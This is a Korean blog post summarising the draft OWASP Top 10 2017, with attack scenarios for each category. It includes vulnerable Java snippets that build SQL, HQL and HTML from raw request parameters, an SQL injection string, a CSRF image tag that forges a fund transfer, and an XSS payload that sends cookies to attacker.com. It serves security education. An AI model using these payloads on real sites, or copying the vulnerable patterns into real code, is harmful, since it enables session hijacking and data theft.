2017년 4월 24일 월요일

OWASP 2017 정리

OWASP 2017을 읽으며 정리

다음 정리한 내용은 BlackFalcon에서 번역하여 공유한 문서를 바탕으로 정리하였습니다.

OWASP는 MITRE, PCI, DISA, FTC 등 여러 기관의 정보를 바탕으로 정리한다. OWASP = Open Web Application Security Project 더 자세한 내용은 https://www.owasp.org에서 확인 가능하다.
OWASP Top 10 2013
  1. 인젝션
  2. 인증 및 세션 관리 취약점
  3. 크로스 사이트 스크립팅
  4. 취약한 직접 개체 참조
  5. 보안 설정 오류
  6. 민감 데이터 노출
  7. 기능 수준의 접근 통제 누락
  8. 크로스사이트 요청 변조(CSRF)
  9. 알려진 취약점 있는 컴포넌트 사용
  10. 검증되지 않은 리다이렉트 포워드
OWASP Top 10 - 2017(신규)
  1. 인젝션: SQL, QS, XXE, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분이 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지 못하는 명령을 실행하거나 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있다. (부적절한 데이터 입력을 통해 DB의 데이터가 노출되는 그런 취약점을 의미)
  2. 인증 및 세션 관리 취약점: 인증 및 세션 관리와 관련된 어플리케이션 기능이 종종 잘못 구현되어 공격자에게 취약한 암호, 키 또는 세션 토큰을 제공하여, 다른 사용자의 권한을(일시적으로 또는 영구적으로)얻도록 익스플로잇 한다.
  3. 크로스 사이트 스크립팅(XSS): XSS 취약점은 어플리케이션이 적절한 유효성 검사 또는 이스케이프 처리 없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나 javascript를 생성할 수 있는 브라우저 API를 사용하여 사용자가 제공한 데이터로 기존 웹 페이지를 업데이트한다. XSS를 사용하면 공격자가 희생자의 브라우저에서 사용자 세션을 도용하거나, 웹사이트를 변조시키거나, 악성사이트로 리다이렉션 시킬 수 있다.
  4. 취약한 접근 제어: 인증된 사용자가 수행할 수 있는 작업에 대한 제한이 제대로 적용되지 않을 경우 발생하는 취약점으로 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 액세스하거나, 중요한 파일을 보고, 다른 사용자의 데이터를 수정하거나 접근 권한을 변경하는 등이 가능하게 된다.
  5. 보안 설정 오류: 바람직한 보안을 어플리케이션, 프레임워크, WAS, 웹 서버, DB 서버 및 플랫폼에 대한 보안 설정이 정의되고 적용되어 있다. 보안 기본 설정은 대부분 안전하지 않기 때문에 정의 구현 및 유지되어야 한다. 또한 소프트웨어는 최신 버전으로 관리하는 것이 좋다.
  6. 민감 데이터 노출: 대부분의 웹 어플리케이션과 API는 금융정보, 건강정보, 개인식별정보와 같은 민감한 데이터를 제대로 보호하지 못한다.공격자는 이러한 민감한 데이터를 훔치려고 하고 이러한 취약점은 브라우저에서 중요 데이터를 저장 또는 전송할 때 특별히 주의하여야 하며, 암호화와 같은 보호조치를 취해야한다.
  7. 공격 방어 취약점(신규): 대부분의 어플리케이션과 API에는 수동 공겨과 자동 공격을 모두 탐지, 방지 및 대응할 수 잇는 기본 기능이 없다. 공격 보호는 기본 입력 유효성 검사를 훨씬 뛰어 넘으며 자동 탐지, 로깅 응답 및 익스플로잇 시도 차단을 포함한다.
  8. 크로스사이트 요청 변조(CSRF): 피해자의 세션 쿠기와 기타 다른 인증정보를 자동으로 포함하여 위조된 HTTP 요청을 강제로 보내도록 한다.
  9. 알려진 취약점 있는 컴포넌트 사용: 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈은 어플리케이션과 같은 권한으로 실행하게 되면서 공격자들은 원하는 공격이 가능하게 된다.
  10. 취약한 API(신규): 최신 어플리케이션에는 일종의 API( SOAP / XML, REST / JSON, RPC, GWT 등 )에 연결되는 브라우저 및 모바일 어플리케이션의 Javascript와 같은 여러 클라이언트 어플리케이션 및 API가 포함되는 경우가 많다. 이러한 API는 대부분 보호되지 않으며 수많은 취약점이 존재한다.
  1. 인젝션
**공격 시나리오 샘플**
시나리오 #1: 취약한 어플리케이션은 SQL 호출 구조에서 신뢰되지 않은 데이터를 사용합니다.

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

시나리오 #2: 마찬가지로, 프레임워크에 대한 어플리케이션의 맹목적인 신뢰는 여전히 취약한 쿼리를 초래합니다.
(예시, Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

두 개의 사례로 보아, 공격자는 브라우저에서 전송할
‘id’ 파라미터값을 수정한다: ' or '1'='1.
예제:
http://example.com/app/accountView?id=' or '1'='1 이렇게 하면, 두 쿼리의 의미가 변경되어 accounts 테이블의 모든 레코드가 반환됩니다. 더 위험한 공격은 저장된 프로시저의 데이터를 수정하거나 파괴합니다.
2.인증 및 세션 관리 취약점
**공격 시나리오 샘플**
시나리오 #1: 항공사 예약 어플리케이션은 URL 덮어쓰기를 지원하며, 다음 URL에서 세션 ID를 표시합니다.

   http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
    
이 사이트의 사용자는 친구들에게 할인 소식을 알리고 싶어 자신의세션ID가노출된다는것을 알지못한채상기링크를 메일로 보낸다. 친구들은 해당 링크를 사용하여 세션 및 신용카드를 사용합니다.
시나리오 #2: 어플리케이션에 타임아웃 기능이 설정되지 않았다. 공공장소의 컴퓨터로 사이트에 접근한 사용자가 “로그아웃”을
을 하지 않고, 단순히 브라우저 탭을 닫고서 자리를 떠난다.
한 시간 후, 공격자가 동일한 브라우저를 사용하는데, 브라우저는 여전히 인증 상태를 유지하고 있습니다.
시나리오 #3: 내부 혹은 외부 공격자가 시스템의 패스워드 DB에 대한 접근을 획득했다. 사용자 패스워드는 해시되지 않았고, 모든 사용자의 패스워드가 공격자에게 노출됩니다.
3.크로스사이트스크립팅(XSS)
**공격 시나리오 샘플**
어플리케이션은 유효성 검사 또는 이스케이핑 없이 다음 HTML 일부의 구조에서 신뢰할 수 없는 데이터를 사용합니다.

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

공격자는 자신의 브라우저에서 ‘CC’ 파라미터를 수정합니다.

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

이 경우 피해자의 세션 ID가 공격자의 웹사이트로 전송되며, 공격자가 사용자의 현재 세션을 이용할 수 있습니다. 또한 공격자는 XSS를 사용해서 어플리케이션이 적용한 자동화된 CSRF 방어를 무력화할 수 있습니다. 2017-A8 CSRF 정보 참고하십시오.
4.취약한 접근 제어
시나리오 #1: 어플리케이션은 계정 데이터에 액세스하는 SQL 호출에서 확인되지 않은 데이터를 사용합니다.

pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

공격자는 브라우저에서 'acct’ 파라미터를 수정하여 원하는 계정 번호를 보내면 됩니다. 제대로 확인하지 않으면 공격자는 모든 사용자 계정에 접근할 수 있습니다.

http://example.com/app/accountInfo?acct=notmyacct

시나리오 #2: 공격자는 단순히 대상 URL로 탐색합니다. 관리자 권한은 관리자 페이지에 접근하는 데 필요합니다.

http://example.com/app/getappInfo http://example.com/app/admin_getappInfo

인증되지 않은 사용자가 어느 페이지에 접근할 수 있다면 이는 취약점입니다. 관리자 아닌 사람이 관리자 페이지에 접근할 수 있는 경우 또한 취약점입니다.
5.보안 설정 오류
시나리오 #1: 어플리케이션 서버 관리 콘솔이 자동으로 설치된 후 제거되지 않았다. 기본 계정은 변경되지 않았습니다. 공격자는 여러분의 서버에 관리자 디폴트 페이지를 찾았고, 기본 패스워드로 로그인하여, 시스템을 장악하였습니다.

시나리오 #2: 디렉토리 목록을 보는 기능이 서버에서 비활성화 되지 않았다. 공격자는 디렉토리 내용을 보면서 아무 파일이나 찾을 수 있습니다. 공격자는 컴파일해 둔 모든 자바 클래스를 찾아 다운로드 후 역추적 기법을 이용해 디컴파일합니다. 공격자는 여러분의 어플리케이션에 심각한 접근통제 취약점을 찾아냅니다.

시나리오 3: 어플리케이션 서버 구성이 사용자에게 잠재적으로 노출될 수 있는 근본적인 결함을 반환되는 스택 추적을 허용합니다. 공격자는 추가적인 정보가 담긴 에러메시지가 나오면 좋아합니다.
  
시나리오 4: 어플리케이션 서버에 기본 어플리케이션이 설치되어 있는 상태에서 제거하지 않고 프로덕션 서버로 활용되고 있습니다. 이전에 설명했듯이 기본 어플리케이션은 보안취약점을 보유하고 있고, 공격자는 여러분의 서버를 손상시키는 데 이용할 수 있습니다.
6.민감 데이터 노출
시나리오 #1: 어플리케이션은 데이터베이스의 신용카드 번호를 암호화할 때 자동 데이터베이스 암호화를 사용합니다. 그러나이데이터는평문으로 된신용카드번호를검색할수있는 SQL 인젝션 취약점을 사용하여 검색하면 자동으로 복호화될 수 있습니다. 신용카드 번호와 같은 정보들은 공개키를 사용하여 암호화 해야하고, 비밀키를 사용하여 복호화하는 백엔드 어플리케이션을 사용해야 합니다.

시나리오 #2: 모든 인증 페이지가 있는 사이트에서 단순히 TLS을 사용하지 않습니다. 공격자는 네트워크 트래픽(개방된 무선 네트워크 같은)을 관찰하고, 사용자의 세션 쿠키를 훔칩니다. 이후 쿠키를 재사용해서 사용자의 개인 보에 접속할 수 있는 세션을 훔칩니다.

시나리오 3: 패스워드 DB 모든 사람들의 패스워드를 저장하기 위해서 솔트없는 해쉬함수를 사용합니다. 파일업로드 취약점은 공격자들에게 암호 파일을 검색할 수 있도록 합니다. 솔트가 없는 모든 해쉬 함수는 사전에 계산된 해쉬함수의 레인보우 테이블
에 노출될 수 있습니다.
7.공격 방어 취약점
시나리오 #1: 공격자는 OWASP ZAP 또는 SQLMap과
같은 자동화 도구를 사용하여 취약점을 탐지하여 익스플로잇 할 수 있습니다.
공격 탐지는 어플리케이션이 비정상적인 요청 및 대량으로 대상이 될 수 있음을 인식해야 합니다.

시나리오 #2: 숙련된 사람의 공격자는 잠재적인 취약성을 주의 깊게 조사하여 궁극적으로 모호한 결함을 찾을 수 있습니다.
감지하기가 더 어렵지만, 이 공격은 UI가 허용하지 않는 입력과 같이 일반 사용자가 보내지 않는 요청을 계속 포함합니다.

시나리오 #3: 공격자는 현재 공격 방어가 차단되지 않는 어플리 케이션의 취약점을 악용하기 시작합니다.
이취약점의지속적인악용을 막기위해실제또는가상패치를 얼마나 빨리 배포할 수 있습니까?
8.크로스사이트 요청 변조(CSRF)
어플리케이션이 사용자에게 비밀사항이 포함하지 않은 상태 변경 요청을 제출할 수 있도록 허용합니다. 예를 들면,

http://example.com/app/transferFunds?amount=1500
& d estinationAccount=4673243243

그래서, 공격자가 피해자의 계좌에서 공격자의 계좌로 돈을 송금할 요청을 구성할 수 있습니다. 그리고 그때 공격자의 통제 아래 다양한 사이트에 저장된 iframe 또는 이미지 요청에 공격을 끼워 넣습니다.

<img src="http://example.com/app/transferFunds?
a m o un t =15 0 0& des t inat ionA ccoun t=at t acker sA cct# “ width="0" height="0" />

미 URL에 인증하는 동안 피해자가 공격자의 사이트의 어떤 곳에 방문한다면, 이 위조된 요청은 자동적으로 공격자의 요청이 승인하는 사용자의 세션 정보에 포함될 것입니다.
9.알려진 취약점이 있는 컴포넌트 사용
컨포넌트는 거의 항상 어플리케이션 관리자 권한으로 실행되므로 컨포넌트의 취약점은 심각한 영향을 줄 수 있습니다. 이러한 취약점은 실수(예 : 코딩 오류) 또는 고의적 (예: 컨포넌트
백도어) 일 수 있습니다. 악용가능한 컨포넌트 취약점 사례는
다음과 같습니다.

• Apache CXF Authentication Bypass – 인증 토큰을 제공하지
않으면, 공격자가 어떤 웹 서비스든지 전체 권한으로 실행할 수 있습니다. (아파치 CXF는 서비스 프레임워크이며, 아파치 WAS와 다르다.)
• Struts 2 Remote Code Execution – Content-Type 헤더에서 공격하면 해당 헤더 내용이 OGNL 표현식으로 평가되어 서버에서 임의 코드가 실행될 수 있습니다.

취약한 버전의 컨포넌트를 사용하는 어플리케이션은 어플리케이션 사용자가 직접 접근할 수 있으므로 공격을 받기 쉽다. 어플리케이션에서 더 많이 사용되는 다른 취약한 라이브러리는 익스플로잇하기가 더 어려울 수 있습니다.
10.취약한(Underprotected) API
시나리오 #1:계정정보와 거래를 위해 은행의 XML API에 연결하는 모바일 뱅킹 앱을 상상해보십시오. 공격자는 앱을 리버스 엔지니어링 하여 사용자 계정 번호가 인증 요청의 일부로 사용자 이름과 비밀번호와 함께 서버에 전달된다는 사실을 발견합니다. 공격자는 합법적인 자격 증명을 보내지만 다른 사용자의 계정 번호는 다른 사용자의 계정에 대한 모든 권한을 얻습니다.

시나리오 #2 : 인터넷 시작 프로그램이 텍스트 메시지를 자동으로 보내는 공개 API를 상상해보십시오. API는 "transactionid"필드가 포함된 JSON 메시지를 허용합니다. API는 이 "transactionid"값을 문자열로 구문 분석하고 이를 이스케이프 또는 파라미터화하지 않고 SQL 쿼리로 연결합니다. 보시다시피 API는 다른 유형의 어플리케이션과 마찬가지로 SQL 인젝션에 취약합니다.

시나리오가 이 중 하나라면, 공급 업체는 이러한 서비스를 사용하 기위한웹UI를제공하지않을 수있으므로보안테스트가더 어려워집니다.
작성자: 시간:
라벨: , ,

댓글 없음:

댓글 쓰기

피드 구독하기: 댓글 (Atom)